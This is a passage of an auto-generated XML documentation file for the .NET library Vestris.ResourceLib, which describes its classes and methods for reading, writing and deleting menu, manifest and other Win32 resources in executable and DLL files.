</member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.LoadFrom(System.String,Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            Load a manifest resource from an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n            <param name=\"manifestType\">Manifest resource type.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplate\">\n            <summary>\n            Extended menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu template.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENUEX format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of extended menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemPopup\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.#ctor\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read an extended popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENUEX format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuResource.Menu\">\n            <summary>\n            Menu template.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor\">\n            <summary>\n            A structured menu resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured menu resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a menu resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.ToString\">\n            <summary>\n            String representation of the menu resource in the MENU format.\n            </summary>\n            <returns>String representation of the menu resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplate\">\n            <summary>\n            Standard menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu template to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENU format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateBase\">\n            <summary>\n            A menu template header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template header.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.MenuId\">\n            <summary>\n            Command menu id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Read(System.IntPtr)\">\n            <summary>\n            Read a command menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemPopup\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.#ctor\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read a popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Resource\">\n            <summary>\n            A version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._language\">\n            <summary>\n            Resource language.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hModule\">\n            <summary>\n            Loaded binary nodule.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hResource\">\n            <summary>\n            Pointer to the resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._size\">\n            <summary>\n            Resource size.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Size\">\n            <summary>\n            Version resource size in bytes.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Language\">\n            <summary>\n            Language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.TypeName\">\n            <summary>\n            String representation of the resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor\">\n            <summary>\n            A new resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LockAndReadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Lock and read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) module.\n            </summary>\n            <param name=\"hModule\">An executable (.exe or .dll) module.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a memory stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.WriteAndGetBytes\">\n            <summary>\n            Return resource data.\n            </summary>\n            <returns>Resource data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String)\">\n            <summary>\n            Save a resource.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"langid\">Language id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.DeleteFrom(System.String)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Delete(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Byte[])\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n            <param name=\"data\">Resource data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Save(System.String,System.Collections.Generic.IEnumerable{Vestris.ResourceLib.Resource})\">\n            <summary>\n            Save a batch of resources to a given file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"resources\">The resources to write.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceId\">\n            <summary>\n            A resource Id.\n            There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. \"CUSTOM\").\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.IntPtr)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer or string resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.UInt32)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A well-known resource-type identifier.\n            </summary>\n            <param name=\"value\">A well known resource type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.String)\">\n            <summary>\n            A custom resource identifier.\n            </summary>\n            <param name=\"value\"></param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Id\">\n            <summary>\n            Resource Id.\n            </summary>\n            <remarks>\n            If the resource Id is a string, it will be copied.\n            </remarks>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.TypeName\">\n            <summary>\n            String representation of a resource type name.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.ResourceType\">\n            <summary>\n            An enumerated resource type for built-in resource types only.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource(System.IntPtr)\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n            <param name=\"value\">Resource pointer.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Name\">\n            <summary>\n            Resource Id in a string format.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.ToString\">\n            <summary>\n            String representation of the resource Id.\n            </summary>\n            <returns>Resource name.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.GetHashCode\">\n            <summary>\n            Resource Id hash code. \n            Resource Ids of the same type have the same hash code.\n            </summary>\n            <returns>Resource Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.Equals(System.Object)\">\n            <summary>\n            Compares two resource Ids by value.\n            </summary>\n            <param name=\"obj\">Resource Id.</param>\n            <returns>True if both resource Ids represent the same resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceInfo\">\n            <summary>\n            Resource info manager.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Resources\">\n            <summary>\n            A dictionary of resources, the key is the resource type, eg. \"REGISTRY\" or \"16\" (version).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.ResourceTypes\">\n            <summary>\n            A shortcut for available resource types.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.#ctor\">\n            <summary>\n            A new resource info.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Unload\">\n            <summary>\n            Unload the previously loaded module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Load(System.String)\">\n            <summary>\n            Load an executable or a DLL and read its resources.\n            </summary>\n            <param name=\"filename\">Source filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceTypesImpl(System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource types.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceNamesImpl(System.IntPtr,System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource names within a resource by type\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.CreateResource(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            Create a resource of a given type.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResourceGlobal\">Pointer to the resource in memory.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"size\">Size of resource.</param>\n            <returns>A specialized or a generic resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.IntPtr)\">\n            <summary>\n            Enumerate resource languages within a resource by name\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Save(System.String)\">\n            <summary>\n            Save resource to a file.\n            </summary>\n            <param name=\"filename\">Target filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Dispose\">\n            <summary>\n            Dispose resource info object.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(System.String)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.System#Collections#IEnumerable#GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceTableHeader\">\n            <summary>\n            A resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._header\">\n            <summary>\n            Resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Header\">\n            <summary>\n            Resource header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor\">\n            <summary>\n            A new resource table header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.String)\">\n            <summary>\n            An resource table header with a specific key.\n            </summary>\n            <param name=\"key\">resource key</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.IntPtr)\">\n            <summary>\n            An existing resource table.\n            </summary>\n            <param name=\"lpRes\">Pointer to resource table data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Read(System.IntPtr)\">\n            <summary>\n            Read the resource header, return a pointer to the end of it.\n            </summary>\n            <param name=\"lpRes\">Top of header.</param>\n            <returns>End of header, after the key, aligned at a 32 bit boundary.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource table.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString\">\n            <summary>\n            String representation.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString(System.Int32)\">\n            <summary>\n            String representation.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceUtil\">\n            <summary>\n            Resource utilities.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.Int64)\">\n            <summary>\n            Align an address to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.IntPtr)\">\n            <summary>\n            Align a pointer to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Pointer to an address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a WORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToDWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a DWORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.HiWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.LoWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param 